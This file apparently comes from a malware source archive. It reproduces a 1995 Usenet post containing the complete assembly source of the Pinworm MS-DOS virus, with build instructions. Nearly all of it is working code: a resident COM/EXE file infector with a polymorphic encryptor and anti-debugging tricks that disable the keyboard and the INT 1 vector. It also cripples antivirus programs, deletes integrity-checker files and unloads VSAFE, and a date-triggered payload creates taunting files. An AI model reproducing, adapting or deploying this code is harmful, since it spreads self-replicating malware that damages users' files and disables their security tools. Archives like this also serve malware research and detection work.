MalwareSourceCode/MSDOS/P-Index/Virus.MSDOS.Unknown.pinworm.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

1003 lines
24 KiB
NASM
Raw Blame History

From smtp Thu Jan 26 14:38 EST 1995
Received: from ids.net by POBOX.jwu.edu; Thu, 26 Jan 95 14:38 EST
Date: Thu, 26 Jan 1995 14:06:40 -0500 (EST)
From: ids.net!JOSHUAW (JOSHUAW)
To: pobox.jwu.edu!joshuaw
Content-Length: 23717
Content-Type: binary
Message-Id: <950126140640.868d@ids.net>
Status: RO
To: joshuaw@pobox.jwu.edu
Subject: (fwd) PINWORM.ASM
Newsgroups: alt.comp.virus
Path: paperboy.ids.net!uunet!nntp.crl.com!crl5.crl.com!not-for-mail
From: yojimbo@crl.com (Douglas Mauldin)
Newsgroups: alt.comp.virus
Subject: PINWORM.ASM
Date: 23 Jan 1995 23:31:03 -0800
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
Lines: 976
Message-ID: <3g2abn$b7a@crl5.crl.com>
NNTP-Posting-Host: crl5.crl.com
X-Newsreader: TIN [version 1.2 PL2]
;Someone posted somewhere that they needed the pinworm's source code so here
;it is compliments of THe QUaRaNTiNE:
; compile like so:
; TASM /m pinworm
; Tlink pinworm
; --convert to COM--
;
cseg segment
assume cs: cseg, ds: cseg, es: cseg, ss: cseg
; conditional compilation..
SECOND_CRYPT equ 1 ; use second cryptor?
XTRA_SPACE equ 1 ; xtra space to prevent double cryptor?
INCLUDE_INT3 equ 1 ; include INT 3 in garbage code?
; (slows the loop down alot)
KILL_AV equ 1 ; Kill AVs as executed?
KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez?
; thingz to change..
kill_date equ 19 ; day of the month to play with user
max_exe equ 4 ; max exe file size -high byte
msg_filez equ 17 ; number of filenames for our msg
; polymorphic engine options..
inc_buf_size equ 20 ; INC buf
enc_op_bsize equ 36 ; ENC buf
ptr_buf_size equ 36 ; PTR buf
cnt_buf_size equ 36 ; CNT&OP
dj_buf_size equ 36 ; DEC&JMP
loop_disp_size equ 20 ; loop buf range
;compile and change the below equate to the second byte of the JNZ operand
org_loop equ 8Dh ; original JNZ offset
signal equ 0FA01h ; AX=signal/INT 21h/installation chk
vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API
enc_size equ offset first_crypt-offset encrypt
enc2_size equ offset code_start-offset first_crypt
real_start equ offset dj_buf+3 ; starting location of encryted code
org 0h ; hellacious EXE offset calcs if !0
start:
;---- Encryptor/Decryptor Location
; Each opcode has predefined ranges to move within - once the opcode is
; determined, it is placed at the decided location within the buffer.
; 0 bytes constant
;
encrypt:
ptr_buf db ptr_buf_size-3 dup (90h)
db 0BEh
dw real_start+100h
encryptor:
cnt_buf db cnt_buf_size-3 dup(90h)
db 0B8h ; AX:b8
dw offset vend-offset dj_buf
enc_loop:
loop_disp db loop_disp_size dup(90h)
inc_buf db inc_buf_size dup(90h)
enc_op_buf db enc_op_bsize dup(90h)
misc_buf dw 9090h
word_inc db 90h
dj_buf db dj_buf_size-3 dup (90h)
dec ax
jnz enc_loop ; for orig. only
ret_byte db 090h ; C3h or a NOP equiv.
first_crypt: ; end of first cryptor
;---- Second encryptor
; Whose only purpose is to tear the shit out of debuggers. It obviously
; isn't invincible, but will at least keep the lamerz and ignorant morons
; like Patti Hoffman out of the code.
;
; _ Uses reverse direction word XOR encryption
; _ Uses the following techniques:
; _ JMP into middle of operand
; _ Replace word after CALL to kill stepping over call
; _ Kills INT 1 vector
; _ Disables Keyboard via Port 21h
; _ Reverse direction encryption prevents stepping past loop
; _ Uses SP as a crucial data register in some locations - if
; the debugger uses the program's stack, then it may very well
; phuck thingz up nicely.
; _ Uses Soft-Ice INT 3 API to lock it up if in memory.
;
sti ; fix CLI in garbage code
db 0BDh ; MOV BP,XXXX
bp_calc dw 0100h
push ds es ; save segment registers for EXE
IF SECOND_CRYPT
push ds
dbg1: jmp mov_si ; 1
db 0BEh ; MOV SI,XXXX
mov_si: db 0BEh ; MOV SI,XXXX
rel2_off dw offset heap+1000h ; org copy: ptr way out there
call shit
add_bp: int 19h ; fuck 'em if they skipped
jmp in_op ; 1
db 0BAh ; MOV DX,XXXX
in_op: in al,21h
push ax
or al,02
jmp kill_keyb ; 1
db 0C6h
kill_keyb: out 21h,al ; keyboard=off
call shit6
past_shit: jmp dbl_crypt
shit7:
xor ax,ax ;null es
mov es,ax
mov bx,word ptr es: [06] ;get INT 1
ret
shit:
mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP
mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister
ret
shit2:
mov word ptr cs: dec_si[bp],4E4Eh
mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother
call shit3
jnc code_start ;did they skip shit3?
xor dx,cx
ret
db 0EAh ;JMP FAR X:X
shit4:
db 0BAh ;MOV DX,XXXX
sec_enc dw 0
mov di,4A4Dh ;prepare for Soft-ice
ret
shit3:
mov ax,911h ;soft-ice - execute command
call shit4
stc
dec word ptr es: [06] ;2-kill INT 1 vector
push si
mov si,4647h ;soft-ice
int 3 ;call SI execute - DS:DX-garbage
pop si
ret
shit6: mov byte ptr cs: past_shit[bp],0EBh
out 21h,al ; try turning keyboard off again
ret
dbl_crypt: ; main portion of cryptor
mov cx,(offset heap-offset ret2_byte)/2+1
call shit7
dbl_loop:
jmp $+3 ; 1
db 034h ; XOR ...
call shit3 ; nested is the set DX
xchg sp,dx ; xchg SP and DX
jmp xor_op ; 1
db 0EAh ; JMP FAR X:X
xor_op: xor word ptr cs: [si],sp ; the real XOR baby..
xchg sp,dx ; restore SP
call shit2
dec_si: pop ss ; fuck 'em if they skipped shit2
pop sp
int 3
xchg sp,bx ; SP=word of old int 1 vec
dec cx
mov es: [06],sp ; restore int 1 vector
xchg sp,bx ; restore SP
jnz dbl_loop
ret2_byte db 90h,90h
;---- Start of another artificial lifeform
ENDIF
code_start:
IF SECOND_CRYPT
pop ax es ; Get port reg bits (ES=PSP)
out 21h,al ; restore keyboard
ENDIF
mov cs: activate[bp],0 ; reset activation toggle
mov cs: mem_word[bp],0 ; reset mem. encryption
inc si ; SI!=0
mov dx,vsafe_word ; remove VSAFE/VWATCH from memory
mov ax,0FA01h ; & check for residency of virus too
int 21h
or si,si ; if SI=0 then it's us
jz no_install
mov ah,2ah ; get date
int 21h
cmp dl,kill_date ; is it time to activate?
jnz not_time
mov cs: activate[bp],1
not_time:
mov ax,es ; PSP segment - popped from DS
dec ax ; mcb below PSP m0n
mov ds,ax ; DS=MCB seg
cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain?
jnz no_install
sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB
sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP
mov es,word ptr ds: [12h] ; get high mem seg
push cs
pop ds
mov si,bp
mov cx,(offset vend - offset start)/2+1
xor di,di
rep movsw ; copy code to new seg
xor ax,ax
mov ds,ax ; null ds
push ds
lds ax,ds: [21h*4] ; get 21h vector
mov es: word ptr old21+2,ds ; save S:O
mov es: word ptr old21,ax
pop ds
mov ds: [21h*4+2],es ; new int 21h seg
mov ds: [21h*4],offset new21 ; new offset
call get_random
cmp dl,5
jle no_install
sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem
no_install:
xor si,si ; null regs..
xor di,di ; some progs actually care..
xor ax,ax
xor bx,bx
xor dx,dx
pop es ds ; restore ES DS
cmp cs: exe_phile[bp],1
jz exe_return
lea si,org_bytes[bp] ; com return
mov di,0100h ; -restore first 4 bytes
movsw
movsw
mov ax,100h ; jump back to 100h
push ax
_ret: ret
exe_return:
mov cx,ds ; calc. real CS
add cx,10h
add word ptr cs: [exe_jump+2+bp],cx
int 3 ; fix prefetch
cli
mov sp,cs: oldsp[bp] ; restore old SP..
sti
db 0eah
exe_jump dd 0
oldsp dw 0
exe_phile db 0
;----------------------------------------------------------
; Infection routine - called from INT 21h handler.
; DS:DX=fname
; Assumes EXE if first byte is 'M' or 'Z'
; Changes/Restores attribute and time/date
;
; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's
; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it
; unusable.
;
infect_file:
mov di,dx ; move filename ptr into an index reg
push ds ; search for end of filename(NULL)
pop es
xor ax,ax
mov cx,128
repnz scasb
cmp word ptr [di-3],'EX' ;.eXE?
jz is_exec
chk_com: cmp word ptr [di-3],'MO' ;.cOM?
jnz _ret
is_exec:
IF KILL_AV
mov cs: isav,0
cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV
jz anti_action
cmp word ptr [di-7],'TO' ;*OT.*? F-PROT
jz anti_action
cmp word ptr [di-7],'NA' ;*AN.*?
jnz name_ok
cmp word ptr [di-9],'CS' ;*SCAN.*?
jnz name_ok
anti_action:
inc cs: isav ; set mark for anti-virus kill
name_ok:
ENDIF
push ds ; save fname ptr segment
mov es,ax ; NULL ES (ax already 0)
lds ax,es: [24h*4] ; get INT 24h vector
mov old_24_off,ax ; save it
mov old_24_seg,ds
mov es: [24h*4+2],cs ; install our handler
mov es: [24h*4],offset new_24
pop ds ; restore fname ptr segment
push es
push cs ; push ES for restoring INT24h later
pop es ; ES=CS
mov ax,4300h ; get phile attribute
int 21h
mov ax,4301h ; null attribs 4301h
push ax cx ds dx ; save AX-call/CX-attrib/DX:DS
xor cx,cx ; zero all
int 21h
mov bx,signal
mov ax,3d02h ; open the file
int 21h
jc close ; if error..quit infection
xchg bx,ax ; get handle
push cs ; DS=CS
pop ds
IF KILL_CHKLIST
call kill_chklst ; kill CHKLIST.MS & .CPS filez
ENDIF
mov ax,5700h ; get file time/date
int 21h
push cx dx ; save 'em for later
mov ah,3fh ; Read first bytes of file
mov cx,18h ; EXE header or just first bytes of COM
lea dx,org_bytes ; buffer used for both
int 21h
call offset_end ; set ptr to end- DXAX=file_size
cmp byte ptr org_bytes,'M' ; EXE?
jz do_exe
cmp byte ptr org_bytes,'Z' ; EXE?
jz do_exe
cmp byte ptr org_bytes+3,0 ; CoM infected?
jz d_time
dec exe_phile
push ax ; save file size
add ax,100h ; PSP in com
mov rel_off,ax ; save it for decryptor
mov bp_calc,ax
call encrypt_code ; copy and encrypt code
lea dx,vend ; start of newly created code
mov cx,offset heap+0FFh ; virus length+xtra
add cl,size_disp ; add random ^in case cl exceeds FF
mov ah,40h
int 21h ; append virus to infected file
call offset_zero ; position ptr to beginning of file
pop ax ; restore COM file size
sub ax,3 ; calculate jmp offset
mov word ptr new_jmp+1,ax ; save it..
lea dx,new_jmp ; write the new jmp (E9XXXX,0)
mov cx,4 ; total of 4 bytes
mov ah,40h
int 21h
d_time:
pop dx cx ; pop date/time
mov ax,5701h ; restore the mother fuckers
int 21h
close:
mov ah,3eh ; close phile
int 21h
pop dx ds cx ax ; restore attrib
int 21h
dont_do:
pop es ; ES=0
lds ax,dword ptr old_24_off ; restore shitty DOS error handler
mov es: [24h*4],ax
mov es: [24h*4+2],ds
ret ; return back to INT 21h handler
do_exe:
cmp dx,max_exe
jg d_time
mov exe_phile,1
IF KILL_AV
cmp isav,1 ; anti-virus software?
jnz not_av
mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh
jmp write_hdr
not_av:
ENDIF
cmp word ptr exe_header[12h],0 ; checksum 0?
jnz d_time
mov cx,mem_word ; get random word
inc cx ; make sure !0
mov word ptr exe_header[12h],cx ; set checksum to!0
mov cx,word ptr exe_header[10h] ; get old SP
mov oldsp,cx ; save it..
mov word ptr exe_header[10h],0 ; write new SP of 0
les cx,dword ptr exe_header[14h] ; Save old entry point
mov word ptr exe_jump, cx ; off
mov word ptr exe_jump[2], es ; seg
push cs ; ES=CS
pop es
push dx ax ; save file size DX:AX
cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+)
jz pklited
cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE
jge d_time
pklited:
mov bp, word ptr exe_header+8h ; calc. new entry point
mov cl,4 ; *10h
shl bp,cl ; ^by shifting one byte
sub ax,bp ; get actual file size-header
sbb dx,0
mov cx,10h ; divide me baby
div cx
mov word ptr exe_header+14h,dx ; save new entry point
mov word ptr exe_header+16h,ax
mov rel_off,dx ; save it for encryptor
mov bp_calc,dx
call encrypt_code ; encrypt & copy the code
mov cx,offset heap+0FFh ; virus size+xtra
add cl,size_disp ; add random ^in case cl exceeds FFh
lea dx,vend ; new copy in heap
mov ah,40h ; write the damn thing
int 21h
pop ax dx ; AX:DX file size
mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below
add cl,size_disp
adc ax,cx
mov cl,9 ; calc new alloc (512)
push ax
shr ax,cl
ror dx,cl
stc
adc dx,ax
pop ax
and ah,1
mov word ptr exe_header+4h,dx ; save new mem. alloc info
mov word ptr exe_header+2h,ax
write_hdr:
call offset_zero ; position ptr to beginning
mov cx,18h ; write fiXed header
lea dx,exe_header
mov ah,40h
int 21h
jmp d_time ; restore shit/return
;----------------------------------------------------------
; Kill CHKLIST.* filez by nulling attribs, then deleting
; phile.
;
kill_chklst:
mov di,2 ; counter for loop
lea dx,chkl1 ; first fname to kill
kill_loop:
mov ax,4301h ; reset attribs
xor cx,cx
int 21h
mov ah,41h ; delete phile
int 21h
lea dx,chkl2 ; second fname to kill
dec di
jnz kill_loop
ret
;----------------------------------------------------------
; set file ptr
offset_zero: ; self explanitory
xor al,al
jmp set_fp
offset_end:
mov al,02h
set_fp:
mov ah,42h
xor cx,cx
xor dx,dx
int 21h
ret
;----------------------------------------------------------
; Morph, copy, & crypt
;
; 0 bytes constant
; 0 operands in constant locations
;
; ms:
; bit 7
; 6
; 5
; 4 - INCREMENT COUNTER OP
; 3 -
; 2 - INCREMENT ENCRYPTOR OP
; 1 - ADD&SUB|XOR
; 0 - WORD|BYTE
; IF<20-SELECTION BETWEEN JNZ AND JNS
; IF<5-DON'T WRITE ENCRYPTION OPS!
; sec:
; IF<=5-use constant NOP instead of random
;
encrypt_code:
push bx ; save the handle
;---- Fill buffer space with garbage bytes
lea di,encrypt ; fill buffer /w it
mov bp,enc_size+1
call fill_buffer
;---- Randomly select between jmp type : JNZ or JNS
call get_random
mov enc_num,dl ; store ms count for encryption
mov mem_word,dx ; mem cryption too
mov size_disp,dl ; and size displacment
cmp dl,20h
jl jmp_2
mov byte ptr jnz_op,75h ; use jnz
jmp jmp_set
jmp_2:
mov byte ptr jnz_op,79h ; jns
jmp_set:
;---- Change jump address
cmp byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset?
jnz inc_jmp_ofs ; if not then inc the ptr
mov byte ptr jnz_op+1,org_loop ; jump to pos X in buffer
inc_jmp_ofs:
inc byte ptr jnz_op+1 ; increment jmp into buffer
;---- Change encryption type randomly between XOR and ADD&SUB
mov al,04 ; default to encrypting ADD
mov enc_type,2Ch ; and decrypting SUB
test dl,00000010b ; that bit =1?
jz use_add_sub
mov al,34h ; encrypting XOR
mov enc_type,34h ; decrypting XOR
use_add_sub:
;--- Change register used for the counter
cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI
jnz get_reg
mov byte ptr count_op,0B7h ; AX-1
mov byte ptr dec_op,47h ; AX-1
get_reg:
inc byte ptr count_op ; increment to next OP
inc byte ptr dec_op ; ""
;---- Change position of INC XX
mov di,inc_ptr ; get new off for INC XX
cmp di,inc_buf_size ; max position?
jl good_inc ; if not..then continue
mov inc_ptr,0 ; use offset 1 next run
xor di,di ; use offset 0 this run
good_inc:
inc inc_ptr ; increment the ptr for next
;---- Toggle between SI and DI
cmp byte ptr ptr_set,0BEh ; using SI?
jz chg_di ; if so, then switch to DI
mov byte ptr inc_buf[di],46h ; write INC SI
dec byte ptr ptr_set ; decrement to SI
jmp done_chg_ptr
chg_di:
mov byte ptr inc_buf[di],47h ; write INC DI
inc byte ptr ptr_set ; increment to DI
inc byte ptr enc_type ; increment decryptor
inc ax ; increment encryptor
done_chg_ptr:
;---- Select word or byte encryption
mov w_b,80h ; default to byte cryption
test dl,00000001b ; use word?
jz use_byte
mov w_b,81h ; now using word en/decryptor
mov ch,byte ptr inc_buf[di] ; get INC op
mov byte ptr word_inc,ch ; write another one
use_byte:
;---- Increment counter value
cmp byte ptr crypt_bytes,0Fh ; byte count quite large?
jnz inc_cnt ; if not..increment away
mov crypt_bytes,offset vend ; else..reset byte count
inc_cnt:
inc crypt_bytes ; increment byte count
;---- Set DEC XX /JNS|JNZ operands
mov di,dec_op_ptr
cmp di,dj_buf_size-2
jl good_dec_op
mov dec_op_ptr,0
xor di,di
good_dec_op:
inc dec_op_ptr
no_inc_dec_op:
add di,offset dj_buf
lea si,dec_op
movsw
movsb
inc di ;word align
add rel_off,di ;chg offset for decryption
push di ;save offset after jmp
;---- Set MOV DI,XXXX|MOV SI,XXXX
mov di,ptr_op_ptr
cmp di,ptr_buf_size-3
jl good_ptr_op
mov ptr_op_ptr,0
xor di,di
good_ptr_op:
test dl,00001000b
jz no_inc_ptr_op
inc ptr_op_ptr
no_inc_ptr_op:
add di,offset ptr_buf
lea si,ptr_set
movsw
movsb
;---- Set MOV AX|BX|DX|CX,XXXX
mov di,count_op_ptr
cmp di,cnt_buf_size-3
jl good_count_op
mov count_op_ptr,0
xor di,di
good_count_op:
test dl,00010000b
jz no_inc_count_op
inc count_op_ptr
no_inc_count_op:
add di,offset cnt_buf
lea si,count_op
movsw
movsb
;---- Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX
mov di,enc_op_ptr
cmp di,enc_op_bsize-5
jl good_enc_ptr
mov enc_op_ptr,0
xor di,di
good_enc_ptr:
test dl,00000100b
jz no_inc_enc_ptr
inc enc_op_ptr
no_inc_enc_ptr:
add di,offset enc_op_buf
mov bx,di ; BX points to encrytor pos.
lea si,seg_op
movsw
movsw
;---- FiX second cryptor offset
IF SECOND_CRYPT
mov rel2_off,offset heap ;first gen has mispl. off
ENDIF
;---- Copy virus code along with decryptor to heap
mov cx, (offset heap-offset start)/2+1
xor si,si
lea di,vend ; ..to heap for encryption
rep movsw ; make another copy of virus
IF SECOND_CRYPT
;---- Call second encryptor first
mov si,offset vend ; offset of enc. start..
add si,offset heap ; ..at end of code
mov ret2_byte,0C3h
xor bp,bp
push ax bx
call dbl_crypt
pop bx ax
mov ret2_byte,90h
ENDIF
;---- Set ptr to heap for encryption
pop si ; pop offset after jmp
add si,offset vend ; offset we'z bez encrypting
mov di,si ; we might be using DI too
;---- Encrypt the mother fucker
mov ret_byte,0C3h ; put RET
mov byte ptr [bx+2],al ; set encryption type
call encryptor ; encrypt the bitch
pop bx ; restore phile handle
ret ; return
;-----------------------------------------------
; Fill buffer with random garbage from table
; DI=off BP=size
; ret: BL=last garbage byte
;
; Decently random..relies on previously encrypted data and MS from clock
; to form pointer to the next operand to use..
;
;
fill_buffer:
add bl,dl ; previous NOP+previous NOP off
call get_random
IF SECOND_CRYPT
mov byte ptr sec_enc,cl ; use CL\DL for 2nd encryptor
mov byte ptr sec_enc+1,dh
ENDIF
cmp dh,5 ; use random NOPs or constant NOP?
jg use_rand
xor dx,dx
jmp constant
use_rand:
add dl,byte ptr vend+200h[di] ; encrypted byte somewhere..
sub dl,bl
and dl,00001111b ; extract lower nibble
xor dh,dh
constant: mov si,dx ; build index ptr
mov bl,byte ptr [nops+si] ; get NOP from table
mov byte ptr [di],bl
inc di ; increment buffer ptr
dec bp
jnz fill_buffer ; loop
ret
;--------------------------
; get time man - and use it as semi-random word
;
get_random:
mov ah,2ch ; get clock
int 21h
ret
;----------------------------------------------------------
; Associated bullshit
;
credits db ' _ PI_W_rM_v1.00 - Coded by _irogen in April 1994'
chkl1 db 'CHKLIST.MS',0 ; MSAV shitty checksum
chkl2 db 'CHKLIST.CPS',0 ; CPAV shitty checksum
pin_dir db 255,'PI_W_rM._g!',0 ; DIR created
root db '..',0 ; for changing to org. dir
file1 db 'I_hope_y',0 ; filez created in dir..
db 'ou_have_',0 ; must be 8 chars each+null
db 'enjoyed_',0 ; (255 not space)
db 'your_inf',0
db 'estation',0
db '_by_the_',0
db 'mighty P',0
db 'inworm p',0
db 'arasite<74>',0
db '<27><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>',0
db 'Fuck_you',0
db 'all!____',0
db '-_irogen',0 ; #13
new_jmp db 0E9h,0,0,0 ; jmp XXXX ,0 (id)
inc_ptr dw 0 ; ptr to location of INC
enc_op_ptr dw 0 ; actual ENC op ptr
ptr_op_ptr dw 0 ; ptr to ptr set pos
count_op_ptr dw 0 ; ptr to counter reg pos
dec_op_ptr dw 1 ; ptr to decrement counter op pos
activate db 0
isav db 0
seg_op db 2Eh ; CS
w_b db 80h ; byte=80h word=81h
enc_type db 2Ch ; SUB BYTE PTR CS:[SI],XXXX ;XOR/34
enc_num db 0
ptr_set db 0BEh ; MOV SI,XXXX
rel_off dw real_start+100h
count_op db 0B8h ; CX:B9 AX:b8
crypt_bytes dw offset vend-offset dj_buf
dec_op: dec ax ; DEC AX|BX|CX|DX
jnz_op: db 75h,org_loop
nops: nop ; 1 byte garbage OPs.. must be 16
IF INCLUDE_INT3
int 3
ELSE
cld
ENDIF
into
inc bp
dec bp
cld
nop
stc
cmc
clc
stc
into
cli
sti
inc bp
IF INCLUDE_INT3
int 3
ELSE
nop
ENDIF
;----------------------------------------------------------
; activation routine
;
act_routine:
push ax bx cx ds dx bp es cs
pop ds
mov activate,0 ;we're in work now..
lea dx,pin_dir ;create our subdirectory
mov ah,39h
int 21h
mov ah,3bh ;change to our new subdirectory
int 21h
lea dx,file1 ;offset of first filename
mov bp,msg_filez ;# of filez total
make_msg:
xor cx,cx ;null attribs
mov ah,3ch
int 21h ;create phile
jc dont_close
xchg ax,bx
mov ah,3eh ;close phile
int 21h
dont_close: add dx,9 ;point to next phile
dec bp
jnz make_msg
lea dx,root ; change back to orginal dir
mov ah,3bh
int 21h
cmp r_delay,5 ;5 calls?
jl r_no ;if not then skip keyboard ror
mov r_delay,-1
xor ax,ax ;es=null
mov es,ax
ror word ptr es: [416h],1 ;rotate keyboard flags
r_no:
inc r_delay ;increment calls count
mov activate,1
pop es bp dx ds cx bx ax
jmp no_act
;-------------------------------------------------------
; Interrupt 24h - critical error handler
;
new_24: ; critical error handler
mov al,3 ; prompts suck, return fail
iret
;---------------------------------------------------------
; In-memory encryption function
; **virus encrypted in memory up to this point**
;
mem_crypt:
mov cx,offset mem_crypt-offset code_start
xor di,di ;offset 0
mem_loop:
db 2Eh,81h,35h ;CS:XOR WORD PTR [DI],
mem_word dw 0 ;XXXX
inc di
loop mem_loop
ret
;----------------------------------------------------------
; Interrupt 21h
; returns SI=0 and passes control to normal handler if
; VSAFE uninstall command is recieved.
;
new21:
pushf
cmp cs: activate,1 ; time to activate?
jnz no_act
cmp ah,0Bh
jl act_routine
no_act:
cmp ax,signal ; be it us?
jnz not_us ; richtig..
cmp dx,vsafe_word
jnz not_us
xor si,si ; tis us
mov di,4559h ; simulate VSAFE return
not_us:
cmp ah,4bh ; execute phile?
jnz jmp_org
go_now: push ax bp bx cx di dx ds es si
call mem_crypt ; decrypt in memory
call infect_file ; the mother of all calls
call mem_crypt ; encrypt in memory
pop si es ds dx di cx bx bp ax
jmp_org:
popf
db 0eah ; jump far
old21 dd 0 ; O:S
exe_header:
org_bytes db 0CDh,20h,0,0 ; original COM bytes | exe hdr
;---- Start of heap (not written to disk)
heap:
db 14h dup(0) ; remaining exe header space
old_24_off dw 0 ; old int24h vector
old_24_seg dw 0
r_delay db 0
size_disp db 0 ; additional size of virus
IF XTRA_SPACE
db 0DDh dup(0) ; xtra space for random write
; otherwise decryptor will be
; written twice - could make it
; vulnerable
ENDIF
vend: ; end of virus in memory..
cseg ends
end start